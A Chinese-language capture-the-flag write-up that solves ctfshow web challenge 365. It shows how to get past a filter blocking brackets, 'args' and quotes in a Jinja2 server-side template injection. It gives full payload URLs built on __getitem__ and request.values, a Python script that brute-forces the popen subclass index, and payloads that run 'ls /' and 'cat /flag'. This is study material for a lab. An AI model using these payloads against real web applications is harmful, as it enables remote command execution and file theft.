SSTI模板注入-中括号、args、单双引号被过滤绕过(ctfshow web入门365)
绕过技巧
对于单双引号的被过滤,只要是为了防止我们获取基类和输入命令字符串的,而我们获取基类并不一定非要单双引号,还有可以用到小括号,而我们输入命令字符串可以使用传参的方式。对于args被过滤主要是为了防止使用request.args.参数 的形式将命令字符串进行传参,而args被过滤,我们可以使用request.values.参数 进行传参一样可以。中括号被过滤主要是为了防止我们通过所有子类的索引值获取可以执行OSshell命令的子类的,中括号被过滤的话我们可以通过__getitem__()方法来获取我们想要的子类和方法,getitem(),即可以数字传参也可以字符串传参,也就是我们既可以通过索引值来获取,也可以通过名字来获取。
实例引入-ctfshow web入门365
1、判断是否存在SSTI模板注入漏洞
传参?name={{7*7}}看页面是否输出49,如果回显49,即存在SSTI模板注入漏洞。
发现页面回显了49,代表该站点存在SSTI模板注入漏洞。
2、获得内置类所对应的类
由于该题目的单双引号和中括号被过滤了,所以我们这里就是用小括号来获取内置类所对应的类。
http://d1e0610c-a104-4668-8e0a-037385125f39.challenge.ctf.show/?name={{().__class__}}
3、获得object基类
使用.__base__或者.mro[1]来获取object基类。由于中括号被过滤了,我们就使用.getitem(1)来获取。
http://d1e0610c-a104-4668-8e0a-037385125f39.challenge.ctf.show/?name={{().__class__.__mro__.__getitem__(1)}}
4、获得所有子类
使用.subclasses()来获取所有的子类。
http://d1e0610c-a104-4668-8e0a-037385125f39.challenge.ctf.show/?name={{().__class__.__mro__.__getitem__(1).__subclasses__()}}
5、获得含有可以执行shell命令方法的类
我们还是以popen()方法为例,我们来编写python脚本使用reqests模块来对地址"http://d1e0610c-a104-4668-8e0a-037385125f39.challenge.ctf.show/?name={{().**class**.**mro**.**getitem**(1).**subclasses**().**getitem**(132).**init**.**globals**.**getitem**(request.values.a)}}&a=popen"循环发送请求,每次请求只改变.**getitem**(132)里面的数值,然后获取请求返回的源代码,判断源码中是否含有popen字符,如果有记录下当前请求中.**getitem**(数值)的数值的值,即我们要获得类的索引值。
import requests
for num inrange(500):
url ="http://d1e0610c-a104-4668-8e0a-037385125f39.challenge.ctf.show/?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__("+str(num)+").__init__.__globals__.__getitem__(request.values.a)}}&a=popen"
res = requests.get(url).text
if"popen"in res:print(num)break
获得到需要的子类的索引值为132。
6、获得可以执行shell命令的方法
其实上步中,我们以popen()方法为例,就已经获取到了执行shell命令的方法了,我们在上步中,用传参的方式获取执行shell命令的方法,因为我们不能以字符串的方式直接写进去获取,因为字符串需要用单双引号来包裹起来,故我们使用request.values.参数 的方式传参。
http://d1e0610c-a104-4668-8e0a-037385125f39.challenge.ctf.show/?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.values.a)}}&a=popen
7、执行shell命令获取flag
找到了执行shell命令的方法我们就可以直接执行shell命令了,因为我们输入的shell命令也是一个字符串,直接写在方法里的话还是得用单双引号包裹,引号被过滤,还是得用reqest.values.参数 的方式进行传参。并且在后面要用.read()的方法读取,因为popen()返回的是一个file对象,我们必须读取这个对象才能获取到shell命令的执行结果。
http://d1e0610c-a104-4668-8e0a-037385125f39.challenge.ctf.show/?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=ls /
发现在根目录中存在flag文件直接cat读取。
http://d1e0610c-a104-4668-8e0a-037385125f39.challenge.ctf.show/?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=cat /flag
成功拿下!
版权归原作者 T1ngSh0w 所有, 如有侵权,请联系我们删除。